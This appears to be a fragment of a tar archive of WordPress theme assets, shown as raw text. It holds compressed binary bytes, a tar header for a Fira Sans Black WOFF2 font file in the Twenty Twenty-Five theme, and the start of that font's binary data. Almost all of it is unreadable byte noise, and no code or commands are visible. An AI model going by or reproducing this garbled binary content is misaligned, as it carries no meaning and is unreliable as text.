uAJ>0{R]D(y=V1ˆ]/e`z7yjKKԩңÑÒ:\)qېSz\䀪ݥ;wO!?/+L;2Wg[ȕ/`\^Ȍ5nY)IRvSlD #HY0o+Us(QXK٩7uq3 Z:ܷ- 9;LWZ;9%KaYj]'*vFb9|D SVT9YZHx57i˽#LčG 箶('L&|?`")t4kJܟv6@b0DdzoSz GhåaОZ NY'`D3/3вDxt& ϥ[4˭LE\ u;*mIutewkwuU)sʎ)_rJ{AmiA8g ɽl{O45¨v/0l3o0idtȍ8e39E9rc:gf)\ YKW ԕ?zuBTȔɉPKNM BQEPr"TڢlvPEz3+JI'E@>{-Z/WLb 1c/Y#RtÞ#7:J~9C['Osʈ#E)n܇FO]?õ9xQ.\'s63gnm50ΈT .w~]$f7ӕm)m(Jp(#J DL'RRG'$>cr1:gPdD%XoX6u]y`)XY1`Q}\DjGJ[f)#ZcB{F3-pҤI=EFPF,b@UYE"nmX=>վ.Z1Fĩ妊zy D-赫kP@tXVm%كJJc8bRحe@n}}#oVۊM4[0&Yb_ b*RrR^|Np1$, c`>(olU72!+Cg=&UWc%&rq p.ͰJEv+Ea%qbJ2cHXRv~RsZKɹ4KT|#?-͌dw_@ŵ [ͣ%NG-wu.(]PԝW3+] iީV.a`t)Z< 8i9`>]VHn lpmKO#ɒ,Ɛ0d֛Ǜz2]O8_9dsgv h&L%HgKtx[J dWH+. {p9ձR}G)l:ugS1։_v6P ?]¢HR>+;5 ҔGnRyS524)"<-I; xQ3W,Og3N*븍+6 HrhK#]#x\U 45 hs[i/yI=rܹGCiI [H]#H ?1\qӭ@c:+OzBٍ1P!zTtm* ϨuR>7v/H\Ct*BjnEatkMG*^JXWz.$ }aIw$$92뫹!Fm-lw+Yub7kM*js:{R8m/m͗fڻ'zx\V+O Wk(\/9!a;Qht.r+uBAwd֨:SÜR]R ZZ;[&#TlYn~o] YeM.=!-^])Xb0ш֐%ppn2ĉ۶6ëluRpm̂ 4MWWYn?f]:4dW\u$({23+Gc\o<> e?v7D=X>;51@QlN{]iV/^PmFIf­\5qJbԌzAT&/m-WiyV 63 ״bLFO䕗=ܰ|o>L7պm<>۽; )=#\ &D 4l;$\(TG^g9==$b)j$zk,*-pG,:F9xGO@),~@onϝXo Iicis%V_罪 /.͢;"&ݑWPYwYi_]$*Y\!7DC|aer|UNM$rttz8((U^P=7_l~ds&5t(ʸF<kyVм9Z^&#jK# m$,1B3_*t4w#[PMiHg:?MT5"G7^iŤέdkdT'.rx%%Ӥ pͻ ]iCj+ՙձ/9)048'5&w֝0"g̙'o}T)"-6 )d*%7>WKqƣ*MROKl [ymiXDZͧ xir[`t;$x N2bz|O `B [gQ6V%0_o<6r2c \QkKb^ʭ)M+kh+LwN ۊBb+<$hp  8e`X,NS[[2JxgNU'J%|u I}ykJz~w3N2E}z?]PLn{]9Kx)O^g).q?;q(9EI5բR627F'%?9~f&6XOE,ĺpׯ0 tf+Y1*|5ӭ[') OD圄,vOdF 0H%DH`$-{'בyr0-w*c,RGi$#$_v8Mcэdݥe({U ~F1 wl9ͤh5_ԉ*L>?]/=%wiz/ħ^ ;yML!nxzj8Sӧ/5 ˿ ^yeI k /е,& H\VȪ!2ivˀ;qY1T:duh'"A'9 d8n̴]޼Uަmש<7$c$rbx"hiDO'.v _} W|5Yƃp7!^= ;/pdM;{y̷vf~`{1g a.ݤǙa^88 p ^t)d2h=q^Fd $R׼wzZ9H縆KY0\;oWP_z7{\[A6nM;'K " =q}؉@qɚnw͙iҎKG2[ s&KFd1~v֤YJ<w4'* j~¦")sަYyٌ{8?ctl4ro(rz{VLF}'B Z3KEG\ u:,ުnU%46}!.15M T!Dp{ ?fh?]wͰ}ϠGD1/ Չ T-Y2HB l] cJ gaXo&0J\颹nxlu)D"\ZӴS#2o$G#&n5b;عI (/Z&+q i Ƒ}e0a ?8vuD0 )69;oph@sb=co˖phhy8'+HIzҳj| #$jZ$&Uw OW^ez ,Rrsx&پڣxD.:?ie&+zV מMIJs/߁I/BAI:(@tCF ΃ ]m]/[WQ@G&Suy|hql/mܦ9 fst( kyjX+5E0757xf#Kli=n?ՒxFگ'U%~|Msч}/K؇#;ar:E'rc2 Gui{#Y@O^ K۳H `?}YT1d]kJ{ +Ć5HO${^U'`ݒ:+>h%s ,%w֧hM9VW_)w:RuFP-T,w H h_^2.xrz v~ sǐRO4fcX7肈׏7zeb-fLe_}Bؖ<8o}}Iϰm4;'^VHH%݌X;})ޮұuF#v><^n35m |RjC,Yg*A[l]aK:_JϔB |uי~ڬrTv/>w%D|> xw2Xj(hFš*ꉊF+|CyjZ 0 z5#a IF1w`ޔ @7jc;jX}2X9sZCr$`_`M8Yb'GktS2D.L[ly>ޗς9 ok ^ǔ[hu҄%ڱ΀˲~:ZFqϱӼ `rz T]mQPh3,v{5$ȩ $@7LVDH#%Ud'ZĀ i8GNMUC{VEQYs^"BjsYbH$ %U+*5S"4O~~z?Eڀ *nwƎ >A,D27XW]V^2~~"+^4IGɢ-h:bA8d[ EqŇ>fjTIzDT`7oZQ~.HR?j׳c!?B!IgW:ٍGSwS IH4>wS_~yn/AL>pPVj!{Uʟ"d%4zLxșK";|sW0UqL*/Lťւ\yK7x/@KZB5Y 扖a>%(O):р\0%8ԪN]TMqs[w$&QQ/H}@G׻WZ"J2QT$f ڃxZD_ edQN$Ǯ[؟wN*3bT <0&􅪩6e_ FG8Е:G*) i|Ct7uA@k44V D$YDM ]z?0>&ISA=*o`=,Ld\&$u NQ4;3 ԵVԀz(aʫb(;U(KBGM~U~z!5F{Ãk_ԕ+>CxɥXqӀJцYEt֦lն*lݯv2JF]FeeqZ دq~zNul&"1^aDiBkynpw*jV֬~G I |}޿.8u"܉ ,ȴvSbԼR% u w1-UÍiG1yHj&B٥V6Y9J #]lj-H8L$d(1#j|~[cϰAiz>ONjТ~=;k遭Xzc<]OQĚ;{"H긼m">${R!fV[~U g>=;^KhvrQ^o׋%wi㾼{wNrodPƤ+?{0v3nDWg7x°E~KE\tdn|(ըizVM@ړ?I`숖.T!,OBzRMW?fP-ꃫ|| 깛vǀeP566cRmՉ24ڼɇ=N핈tq]Ntei[: s{ݻe>BjUڒI-E4g`p靹c(\5J{}ΐuHZnI:u6:lZ㚊j(G҆7 _ԉ`i ayJ1pGUg9si~DP4OCk{׺lxLMdz|sWäKK:"K@&j8Sڑ`pLV'ӒY&a, h\2 T1-RxъuQ޲520>V3tleH8Eۼ;p&[T8 !qI1nYTH_M{Qܪ$UP!zV[ܥsYE[86an:j'1d]0K2pZn6~}8Ä5 7LMw> jr=4{gC~&WPY(ug} +dX<_lR?V+|QC]Y7άlᘅulj;n -$HD{4͍h&U_C0o zE 'h6 4cY $b"i"HWf&}?&ch+jK[V &l* 6|[ !oL8|yZxל \4eX/KN=*0\vaUs|sӟSY$`-dm#G=NA;lɈ87o~յ/[ XͅeBr㿼5 Q:6 s^l/ﯣoNj4^nVI|2*,C9M!V>{-3 r e{BrK3ޚl"K擉j{ ~1Ao,A3i/tӝT=>w[==&ϯUD>ْjgyǵrߩϒrXY?VAWr eoW _o~Ɨ {-x-=!xWqԡgS@&uǷ28necHY>:vJ٪g Ɗz PqCyDzPUD[%1Bch%Cu|q(ei̊04}qcE1?xwx3ka4;q:Z򱸚X2{Q3*ضHJ(^|lQrG#)paV8g\xa]]!rrB`I(F=,lu{Ghuv i`&WƏnAiVkͩc[촗!?j\S b i Q 描)a=v._ wƱe\C V0:;3 Uj!pGx#_OÌX Lٚn3ZrZZʷ _m~<0ժ~c=@ěGë$up,!Mi-+I;),]jڴc`z<%@B-۳ei`z{0ӭVEQ[2Zr2)<=9W׫i`FTGuL+m6=XGx,xh4?&\lu=akinx_ZRM]oC呆J#uf;PnI#p q!|0d'jAnsw_^Iszȝh mIMɮԛNMW Rj1A 9Jñwza~C=O~V.}9)G[UE1%Ibqۄyb ϱ Uj97iǰ9]-ִ'/Vp}kTU\y>!4X1oC^_wl~84di"r^^9Tl{oȹEgk^ܰ Wseם@E97Ef}CNt"GkmnkM\bڒU?[ziwP4olSR;\2K^r!C:4'{i3C@HsE&fм1e|+dv@.&X C AYr+$Ԕ$eoP _:4{5Ԛ]»@jX6TEHe X큿Avƈ,gxwf׿*'ǚPϭfE(5;Z޹ܚ}ǯQ.x|r*5N7.˃{u0B 0lMߊ,r풚&D*BQno XwT:V_9$kˆmz6FQl(z1o6æ"ub[DmN[BLg5K%3S-f(oJAs Xdor/Is+U_‰STW( =[jXKccXPb Cujױ%+c0V7*P-)r -FN[P=LF*SLWs/_ƆgZq{Ɂɴ)4CO1$4.Qt/aElX(CFBT߸kn<:L LLkAft6ƔJeaLe`VϑyO5zkq #ZJsJi1;j L@,F (L@0cks>9phV)Z(C4vF8Pg2ss P֛tib` Z\1*Bb\hWmDNZ[5jT*]4i6vu _UF {g22VMհL{th`E4-3TfI^z^M _?p=yub+ofޑc|yp6;JҜ݄ޒ,3w m( {XWey1T[J ڡH@)w -ċiX'WڂɆ(F֓Pnr5ֆّM]s32H.O97%.=SrUEaB2jX%Ciﱚp7 oFgvf7FZ.-]7qXO?vDz]Imt-s {yi*H is:h~s u0&D@~Kb]7t"y 2)20D;CPĦZ 2McZBӜ4ttmtx3R'؎\l,9ˁ`Գ=OפmHPZ@QS)1IVas7er"4u:Dm= LEM\M'–DEC%dL z:viuuԭ/&oe"ukwjiМn8ϸȭyUz_Hv)q:9q zAcٜ4@(.H*z8x Q]zgAcEU\t) %7B{cv9nk!S!_+*X|}C)aLwrYfiB?Q>p,&%]6Y}մ4䎰FXrgE|=k5 ✾9\i%4~4ʊ<9Пk֔ms)}i7(ʳYmD}\ކ]BMwO\tPIIxpֽRRYNOq&WX9fiNCnoXJ~R,캻{F.AZ%$KY{ߑUMqlm\b04pd\cx!+^3C8Z}8hڎ8s4an2A2ZsF8{g|cPݜe8Z;NG.f^[+ԔiN S@Kk tn)(Xv5>oV9 s"+i1 axDNHٟ#@K3a>I[B3쩪I5}q[xmo*Y1Μ:,t)l#ʼnqKyM"vMiw9J1oQs]Jk`T Xp@֙-uzW+sGHwZq|~^?^#NIx4'JjS3 4CjX|Nz9R_bctʢ فL6a'1.l/]9+ʙ+BI41DꥑBӳ(d̜jWm !y傳_a~7EA9⩗ rFkT?8793(2ZS!'j>KCE\T9l*89@s{z+!p.]7G!GT2RU@'ٔBwg md8I/vOoyq,HpZu-9V26ٍlیJO(["o]* .U%dylГ{!wvd3q&%t4,s+ݽklm0 ^0-s/N,":RּYdp6v>y6W+:,[0FKcV?@8]f.o|wn3d uMٱhG(?j_s̞|*+]Ep"KiءgG ɲy]EA? ٵnYπx-S/yG[&U<~'{Ư0ZAN`;azٲ"Ucd% vJpAl!7B!OzIw?K?dQ?okGŃWbAaUH(`mTS4ȵ6"+T l& cWaⶦw'/Ӈ,WrWsBz-ksy'{ܥ=ξHmNdENWtʬG 2`64D#+df`H>~&yb{(9?W!v, _㎺Ua?8'.$J1KbgГ^ϝ01dowA_)0)F cj5bЬ^E =Ϯ(m9'  BHg.YedV!@٢W~`nRJ5H0Cϱ^f;fJqf(fC`floc^g`\laz*iab4fJ1|܌N)2 \X͵,;ګ " h(5dRδgDPݯ=1 s; =+2C`!nDMw1Jt>$ kրl[莜>XL˩3(O!*RY(<= s9€xu5*oܝWn̊[+f8Զ88?m妱PQHHq%rrA<}Ueepqd8z2` |3BK@<[吕fp~tjN[gbfY\}ZRd6?[S೻:ޡE4&W|$"kv3JU\1PսwY pw{v,u#k`s46OtWn .%2Z(Ya9A. T8'kO6\~w^iOv+I_*ޏU@F.XeEa17NtbIib*N/ ? : fL^2qN*ixZbpdO^MVCg䶅BF=#Bf9.n>"ݚ:-`*lJPrr mY2tld M]A|Gap7&~itMV+Ȭ: ْFrFkO: knݪ g%-D0Dgm7ȓdIܸq-$q(iѽ!XA!d< 9Bm"D>ap }nLp;3=0y+OftA2zV' )ҏg¡Y ()M:W[Nȏ=kس+!2Z|e%GDz0^Ϯmh+SVz,,թz_O P@O˹~NHqZf̳|XCĜ還J'6tiֽ93Pf/YJcBĺ?8Zz뙋;2ߐ"5S Pj õ 03HV6c4}"z]qNz@9[)t78)/9l((>Ju7u 9&{7u h!u9 w+_|& l# ٖ$iA|r> ^ٔd1@euzÓgȈe~9#~%OW 3s]X't ׷??إV~rκ•X-6O8]ɢLp(V~׏c{8^nU!i&TC$YR7gL،!&R!Mp-,2Q5}-Cf“n7[$@2?ؤE~CvF'TN;ۚ9 J&;nł01YÞӢNt0EY!*P:Fqr:/:<ׂ-k} 3 oGL[zVVOȂ~i2fNnAxx2Apז 椫Lu<:'8ަ{づ@H|ܲb)q#y.r+EX AIEzm×W7ൔaA79nk@; v\:+URc֡^\2$1؏JH2{%mTyJ+*iQ`%bQyNDq;ɶ Il'ڶRlڲ'[b h◉\u/a)2q_UIg+:8~ſ92 1-])t~+1 oU0L VSೠ7D %0nuZɶjIlҢBHbA˫W8MnBr,A.Dt Yg4#a:3<=)DQ'|J B:QZejB8d-"gE9i!u'm/شZ&;#9Tis,59M8 n2juoZk)r7FDn {8w0sh4ڃ6)oKjOvmq|"Kj=oEg̹tDdpkjZ  6bqQ 9zP/PskQ 7c&+ J=j$|׼!^0U{s7\ Xexߚ"Cxw3_*Gsfb~Ļd۲@W%icQ]-m D t3s&n5Q "`u!o;4SIsiltϋ*M)8w^?͹jqtPo_!LuSG* !2DSilўE'5>{۩(9&"%t.쇃'Xt 6ɿٝS4|=[ gB D836. QP,byxٜ!$LKk]h>]5 -Yۢ!-Mjca5- 5bi~+l*]jx˩z->Ӧ=St|Zࠓjw-dI-۪`.N)'g Z(Q}uUhRt;{=v!DT[zW\Hl1 7[BЇ%2'|Ι+h;\ s`Dlm#rК.\Z*a 1)6:3ZljJ}zbTc9) udzl%sqjޏWCp!v| 3}?yv| xCSDtouX=1m+o uM Gi3IQ+L'BC>jR"٬XVs²C!*Ġj2H"5@ G)jC=Y)W_)D#o ~xc`:i7|g#oXFbG{krh+}92.% :RH̯ UB!1ciNjv@Pb,o]jE?*jsWU(m%/$퓾یv f/ESd~[L7!dqu|ȩdތ`!#49re.,&!'5 UeE]R)Cq~J4(Ÿ֗ AGr N\L.g9[/@럶%Y Xu]0! 0q|J3=m۟M)au|+m!sk^QSBU>\:ejYL{[FXfZ.> ɷ,(EIC] so#“J?_Eq~amѪ m~mSxeˠ|i+\\jO.q<̽Q|}BE{Ȓ1m-i]+ `{)Lf_Eq9M Wcz jXKۆ2JPþ %6p晜.)uy}nqAl ̶3(3L7`+V'i⨡@%?Mn7ec ܓm]5&Ց 5Qv=<`>z*̃SiOM( V~qv|&* qOcځƽhi0bTltBT.qB(l:FMgo*j1.RI^,$|XcLe"K㲱~r w9ީܙ[aio+UM}+«D쉹^ŦxR<$#[5QW̏E3gK Y = ќ9$`)):cٝiS14 \VRC-*m+U;>;pѦգ?N7v?UuŊS߷NhgaPjQr_*13<ΛW「/1+zg񬪅4aSl0r7d͛,\vdy .-B"B-LܒsO#_خY`@բeыAЮ1geL+ɣI ÜmHn#'ZjeCY2_ A^dJqr:@SEj40R P4bq<+{T< W'SvoDYqmr^{ ^gq*yZf?e$LWsZ;%~ZY<]\կwyQ~\G1zk8 q7zwbaӛ`pWRܻxf̻1ISW ,4>zBiGƛAPLRIGÛG" C+C0Eݥ[XLt9i<.x37@) ;hMrSieplVT5s(%#z͹ ̥*&YI8N :WIchfסsFK6gq!C(e}MU,'P߀*_u_L9z#,b*iMK&eⱄTC]CZ@Jݣ+OK3P-XM^ca7t*=琦z\yK]^0Wr^K8O˖ItGƊ5a~v7}hA5c #t5=H0_aw7VQ/|-LWV-%)7qݮNdiņilJs Y:+6֌7ium?Z =!i${Y|y1mv/GUa5n8PzRmhz%6bmmɜȃ|oxZ@km{c7}% Bt,SYTg[\ 7+\Rj?}<+bz*gl8A9oRǁw,ӰzT:YhlE(hj}4Hrv;&rE @JdP`̸T`33=)F8'}2)7,5y_Y2ͦO:+ۼ 0~A]$goXĨG}-d k߽g )$PνUv (uIz5U+8PaZD$M#F~LFUJJϏ+C*VjX$etv*uV P m^%m3L!tacm'Mf;^N \oQ `5}Z" !@B?{ItFIE`CLk/zPu`ĢnQ 9e.a3jc⩽`xYYKo*B_a9Md\QM pXMR<%o8m{ \Z"|ǥ36khԘ z]\o!r ~;W QJ!ŻH|l+_Bw( 3@ӫ{FQC@@ۇX?3+J%w B\r'yp9)[ڵ \Y\LܕNʓɈzxcLD<5P@4a.dK4m!K$ԥEҔ?J5}$&#ܼ!PAFڭ0<<-aMzً-dN|*D Tq nV5LHa_K 0]HG Udƹ.LN}/Ż1d7"F^ ޸Lb$Q ƒ׹7/Vh2g$;%rP9S~^yz%GU K}$ѲMnnal )\8?># ?_Zr3lw,&o*<")hDTbbVu4(FWJj$/Wqv%ЫсZ1<  ~OΫJ"5W-2X KӾ7yVzHcI#&8 fBN7+ )'iCV FƩSdF~21V$qгѶiYRj T7e<>$kPq{1׾2*u\7w"wT~S#]D:]ݘŹy@o2җ[g5-?uZ_L:CxcS<3og h@-3Fp4EJAGsnjC.n-kF|*"^OLqUޮxά%\ J/glbu_T¸FJ&ڳ^p$i%Ɏs*fg@JSX.3YjTȑ"œ~pؽ2E.I1ȷdI\@HW(sȾI+v%ƸaG=zk{hN~%s 긫M% dS.VJK%!ф%!dߟ"԰v0{[j :l4=б˺eO#RY.oj+rSl@Y$w015{Nj%&\ærG)$s\ʷ,\ejiUҊ"ނC&7Cx|4|Mws8y?&Z׺7is=C%yC$7egRL TWHvr˲U 9uɤ) RT؝kGz4J%+ zW5BWijԒ^5f`N(ZFTݜ> !\-^Hə4ҵ#h*CL$)@}'! (ry6HYQ<@]T9]%)oH2޺:GFZH:MS0G7H f&a͌βǝ01}FrIDr$βm+w:bqBX*h1ꜜ) 3af` dV)0B˗jvB89UIG)U"XeO>:2Аmp>#7.']:"<פT+dt BBexmO#oїg?{Z*R_+?_0*N@u c@AիsGG3?_HO-gP41)(Xhcz5yiR1κL7+bދR]INL)PD'噺sSTau4Zb~I@{ +C&P\/_jfJWM2t]Wt/v;\kqo;qY_T sQ㝰&Fh(E8~قע! _[jN=?cAUA:J]e]#X& J'#N^:͓'߼m5LrCk {$Emgw;44l`J@V*C2[CudNӥuEQRΪº A ÊF Q'ei0:jHY nHRWZK%\# : ц `Qh9=sφX(|}/Fٞ"w_:&6 fSNq*8z(3 DRdx/ٳT&UU5ȗ $p(=FP U5K\k) VN[F\)&QNSb4bcrѢ7˱6= dfEL<'{ 1UwW!zz6JxYm2 "B H|C] ,:w{\b ,Yuuc0VzH>G H1s[|%Q3bۦSO z՜stיTè:f4FiZ#G#CƄr4}YikI(o&}Ș=;7wzkZr.ֹ-5kt Wc欙5RQD>se}?*~jc]lor+|6Nj?zsBb<,8cxM@wҷo/8G Of[ xR7X英ɁX)(ʟ9O&\NRB4anXR S`q/9}G.\lL52ͣQ+W{|ѫV#yhGt %l7/;/ H Jpj/*rJپ((2[ AKt GnJ1p%d ؙcIPqk&9GY\ZREOOQ4"cU?w+2~צsV?6Mh>s]cJ%PzR,՟IVR֍JOkSd Uu7KqɋHNjVMIm$9)՞6թ_UH)j≍*OM2Q=> <)xPKz9VHwIt( ,!!jNв*o_t|n( "l?w~\@*9 @LkhB Mxb??S" +R5!M% Bu|a p7 2JrvxrF|y AIF{G`ѯ,)9\Mpw4'ov@30; dl?Gg8p/+"'UM$2B$(O[Z} K]a '@29/NC9_Ef '}WNq.$ܪ;>ʓo>| P`!BN[ND5ZXq%ѝIRr.R4J83eɖ#W4BEReURUxjYVmI-%-mWPTRVQUSnPl\W 7|l0 f q'̧i{+4L&u\ݾĵ?ք6:Y DH I9]jW0 ƥ}_n_t[+Ҩn35.E-yϷOW|ZYF^~|jd\/\ŵeTΖ8:1}v%$k G@DBF!; [ ( A$!%cBUdt LrsprqҾu%($,"*&QB294{ZN5 {oR wĨ1&/@ BtH.B(bĊ/A=YTiҩH˳d">^h7a<{UP$Y+F%ޫMTn۾c{ q.Rg= KAũxp1neUuMm]}b-Il\<|H!ĵE%$ڳςY;qG)(*)1X@4B Pit!@K+aB2-/)(*)j㑱BQȎe܌X*E1`tތrdF]LPK DLCo/n&04M|ᨬd:/fx3 jD I~@E 8'ecn\\S>xgd7.݂KI]o}bkn+ʕjhڝn?vG",w /^t uPt&ȧXAZB$L3V|'ePQ$I9H᝿lϤ5plb?t>1%+MޞmJ"KnGzͨw<.za(kW7*|a^#FwFysV ͻ >!PGi;FfX2T"^y"v#1Gvn0+|tI&h+ ii8 ˰ R uoeX7Y׷1Q֨ю-B%kl Xf&R? ;[?wJ6^^){:_53BzQ:?;Mu. )ƥZ\rxP(~;rJhM 9 |v<_2kh  oNLtFoA熓$]u2,IA#.0fϮ3gVgNDo4 %Ö1cߝ_[bFsS6o)5w3f{m]8BV.KEbfcsNf]gʸXw׮b $Mc#=9^rEr5޷`TPs \j-Z,aT4,inp22PY30^h1e־Lswwa-ݣŎ.𛁍ܗ]" ;Ѩӝw5ٕ{N<aLp$~ƿbObj}zdTYܻ6{me\؛>oN) |>B\O*5SAKn[v8.zph/}WcLTg Ų>!XC_]3)T^{/ ]ik$(o\Tx3۴S6]n|~x+)Ie!oRoE]oAO?Ol_Qʾu/_En;x"/`2O1TաS"&Yc,l`+ 1`,XN(6 &l|[֬1Wv߅T#[`巎pqYa&rdOjy|Ğ $(*]4v,sH%q/w8ސj#.ؠY Yu rQ9jhtm1`idj kuUcrFsV">W.65?!f7AWS$MB 8w1}nnaf 5>T=v` [篟ϒ:H,C [ؓa>ti\9|6lBahn{픜$2 ]fk&ĒO~HӖbY0p+(WdY,FwYV(ƑRcVI\D@"xܴ$,XqP K*k']\̓ܝ9.w7ĦV'ō3}/'31g]Jd0{6ǔlZR%9ۇiՑMuXȄWUkezXr-1X;- N< }c6Cs]i\Ka)@CK<0 B\L,h:L[SQV(,DN>of2]tYE\eِYbhUJo[ex=ob篔pT@:l@( [J4շn~:s3HBUWe]#A2*Zތ Z5=.gt ۠a' L5<Ǜ/dhyS6!v5'TfD6d7>`(aod:@W <" T9xV !є೗!YJU 钡|_h30Ig\Z է§Iabԥ2-iW!u_ꜭH nVPl۬CCALC 8mHՍ" Y R,pM1gqAJT6YJa97^jcq0y&A7KKN#XQ[ Iyp2s0[8XS#yCLlnqأ-^f J+ !|0Ӎp  ֳj\<5" Sw(gvdlA.VHL2k{Rzjzp2/gW̊D-TFZdJ/}XUK2JqY9#Ꜯ;p%{QWN]D+ߦ2xp].BvdAV{#TqȦ=,V"tz_q 2V]ÇB% RHAѠ4}.,ރR,s.*Y2a-:U *Vs!1%F6lrj(sf:cR[~_uWz5`=+P.JiXaSQ6eY%{7R϶.`KX]H&U5Jn3e[7vdz8S{!7ut8v]kM |uEa;sNsKl<דdkbry,LqQeYu(":SKyfJu1KARAҗzv^Gco9&>W|wP/m$"Eu(&h%eUUty[z/? h1)dP>׿ h~@˕I7!P"3Z:Q}jFP5z4@QX9R8HXr'*&uJK)W>"S"K2S*T9sNH.&ԚmȨqsv"̑:Zk]+))l B!Z\OrbQM(nϯ> Q4tB\ZWTj:BA~ g'}wIc !B!B)RJ P)X)AP_~g QS.T*Wa}rrrrrTLta&D qҦ , enV*TH5$dpԖu? + BhR/Xk)1 _mOپz-aQ܌7>4ֲ=W=][ďNFݿ=_;{I8kZ>HmM҆w5/aLG mZ C8A18Fyգ\ =| 'VdDC%%`CsA }.(NPLdYeYvQAA(}yh$#w{~3z W(;ÑI.4"R#|yC^NJPy< _*lr!z(nCixiݤwK7'gyq;ڽ"e/κJC&4M>fq[:j%+w -Q1n,M !ZB1f1nfO^#J'^]7oZawͰ%M.L*mܵNKHU:ƕx\!tcB^)ܾMՇd)bۣFwuX Q!LJ2K::$ vF/}_(! MBN V+&`y~܎k eg0uTMZQ"ACY;60I8!D(\O3x&0Qyc V%6w"LNf &`R^Vw뺮cպloTo$ -= h׫XoU4WCٰ/( "Qr)A Ҫ>HJ_ĆV$ z\< t\^jV c )%_K!IPLBK'IJѿ)rdŧ>0 x@C!A@F9_k?OPC)` 7 -gaH?N!Hu58}9$' (Zfaֆc `pns; !ijCNq\.aa +=îs-_IP 7 ~if4$1yT-󕼫 uv5zxڙ2ߢ7Mن-r5\ٳ"?\TgGX H*Ȝapփd0G"pec b(x<8j9 Z"L(ܑՙha!zhH h%Q/_ǫvu Aq*@M۩첖2G&qP i#|&b~cXIvN EQ 0{`]ڏf m www zn1_tZTHC. 9; ə{)d~Љ0|"5eK l2BTЊT n9|3- q3+u?0 ^R0F-/.iAuvd08>;5FgFuvdX35 Kҙ􀐰t"QA̘n 6oA P"%@#3C#d~hOuA|OžrX+K4"^m/yig)0my^|SV<465ը7MuЂs:xOm}a J ;2zqI5m{$ںcuɡMRcf|.9Q ݩ-E|/6J{Ifq|vj@QAa.ّ}2;3C"\l0K<*p0 HI6(a6-0"# Lj6&c[ pDn="["PAtƉc:A2a*N! 4j72y輆w8!NhE;wuqX4i:6r ib' 6ĶWeh1!^Ivt=z囆)jܴ]1KBC* OÍ]A^@E映}Xw;w3 .jj[m:o{Z:s(`0< jѹWquo\[$`!6n+WBC)㎐JP&ɻ՝>-WDg(/eeyZ?OՍ/U~h)ϑmH :E)G?,ߖDH #o EKFMi˛I&B|'Y1iaɡ7тm[g1>5B7{D;|/UBi A ^l| ;8`ʡf>"DI`/2\q~8 ;ՆS Uwr2t3#) d^htI`wK?^_񹦕 4I堋32A.'s$] =-8ѓSGڭFMPi",eǾ}j/IRۅta᯹ =xpOoDn8a ,?2N{y-/t!?x7WVF^;INQ5n$tx$vxFBM@\ Gl'v;=tZSQf%5:\e>um XXj<׾T9%hhs.M`J'['/OHh\A. urRlBY䚣o3EPD֞M=G^q :&p?!H[v+ Kό/tFFP*H-gmHp^&K϶;oB;7 \@U;BӘ(}[kEGJ%5`ဟU=uacB5b{"tFn9gd<{]D~wQ~7@themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-Black.woff2000064400000453430152335264760021541 0ustar00wOF2WV?FFTMX<`^0  # \6$X aG U[*؞m6]M`c0F`Eb;"gH/׶k&ȐT6n1<0`v~0$ɶ_9hSy??On7s̻$IM6!iB @KXXRj- (`٭XPAD *Tr/%2o>iU? pHGrtU=&ecbS#2c&ڋ߼E9gUvlQ;d|T 2PB/%ջ8VRb[zBV._mllw""rٕfr-@{]%{^C{ݽ&^^<{ӳtrs,e9sOǠǽ<53 WLIow㽻Оpݷvr`zh~|{wbûp_^<)+2/{ɤF8C밙E33!9jzD2u)Ru-;o-l`A$VmEQbMZNYjxZ~ w(]I^7VU#p)`t0C\tWnxw{yQpOA1ƨDD=̟|`dDԵ~jZ*BPG$$!kUUUUU:`Zfe)fffNk i=r MSSS*BЖCΧ@?z_333Ӎ$!原Lɟ?S!L쩟_<=55B!#$!g >[׵n4 =~U׵ !tdbsQ}gfFB]<$$_|늙զLeתwXN@L+B,yuSBI$C~V eL! fg1;B!#$Lt: -ת|gUK@lvoT!bAzdz̈F]|۝yU!U!@ ?B]135PdLO O K?G/빥$CS= ~" }>|EʬO n3ȷN\GF^h~T"&0 {_μ^q|ZoBp gtɅyYg%$!cOO}\<_mBzw |.*t?w6~fA歿 +WOok (C^Ȏ_Gr7t=?)Ӄ& S M\2oPf#M=A w#RO%]Ĕ=`9L/%x=Zokc8-}\FՔ|rĮWiŕ9=_Zz94KzYQk{e\Wv7oc+lL$}ZRJCijp糏;c*w}R?<)Upo3e2G|~1HuL[.wZQSSjAzoe z\\7O xhpЅڃ$ ORQ-\fs#?!jF7:lO_Lm80[(cv^/ C@P<wgr\!Jp>FBj> N2CdEƜO)fw"RHx 򫍔Pn[)OsfPX^g7vv̙•x ;|bQ}C/;=w$ƒe(IL:*3*QhBĞc Eq`*4 LmMYf˖9wdi͟Vm+ֶe-PW ,!Lp/uoۿQxP倆9`24D(@m`mfqqUpEuB+bLg& ؜ΚM׮ҽ9~|2tNv&tYM2w=H|bTWX+X\zbrfAUi^Ij]R=00Ԕw,TT6qQ2R|s5*cK'5ؿF{]ױ$n8IpU Ajx HdA 2 'Tw} C" Z%5ϛ8rwB(QT_z^hC{v[*a$_U!,1B b#`ϊ< A`YX&kE:]u3M Blwɛt}޴ݠiD!*jPzdM?Mzq&-YY ?|ȗJHK%I]6/"I/5]M{OI0"v\\Ŋ<=5sY3>Qޗr +QqXy:e+4LlJm6}fz$1̾;c،ٌy/|ZTJWϯ k emLPN3)~㌴\ZZ/O^vv/%RY >`l%!v?ɵr" C:M| HS=qm˒('ߧ2mt_RJv+hpB!gej;wa4IErrXuV=?\0FjYpL _hd$;I$xA~͹%'L#4M.oh#ꗧgm"!m X"fǛ#ODϸ5OB$'BѮ@(؉(jr?|L2$L2QU{֜_0g0hB$x1&YsK-%bEQEQEh4F(w!+ &` &ۃbn0 b $I2bl 1A bȇ q|1.ȶphwkj?%ih4AQ%EQ À#|ꌦcԪUtCa$dr1lA4..BNd|d x݁2Ǵ9uJ.ѽV"߈1≋wp((lP VN 9EirJՍgO2L꿾 B Pim5?a=˶dZ_V3p-]tх2v>FQEQ-fj֦<‹mޫvZOpzXĐ ͞Y*f~]@vM#pa013FQ4MMSQ ncZV !p7J)}@jrB'Q ~QEz$I$I퓸L4M7m?\tפč .\\/.d$$$$=Y}^$/$ ]br+ wnQEEQ+$LK6Qu[  `AlZhEQr=;ח%((ʆts d2\OOzZVap8}u "u[y0>bxzz2L&&filoj..GJ)B(]vڵGI۹F( wQEhUWew Ka4Zt4:NENq&(b`!b&P>m`yiӏ`0wK$XM]A]olشEs6,Sϊ28$(:L5#@HoCB46OwuiTq*d9=˹e[nLm͂g1 CL7 RǯıF֑Er׹BH ѽa^Bh-=# =7{soU7:5ߓ%A~be\2#)VO8Y `*l 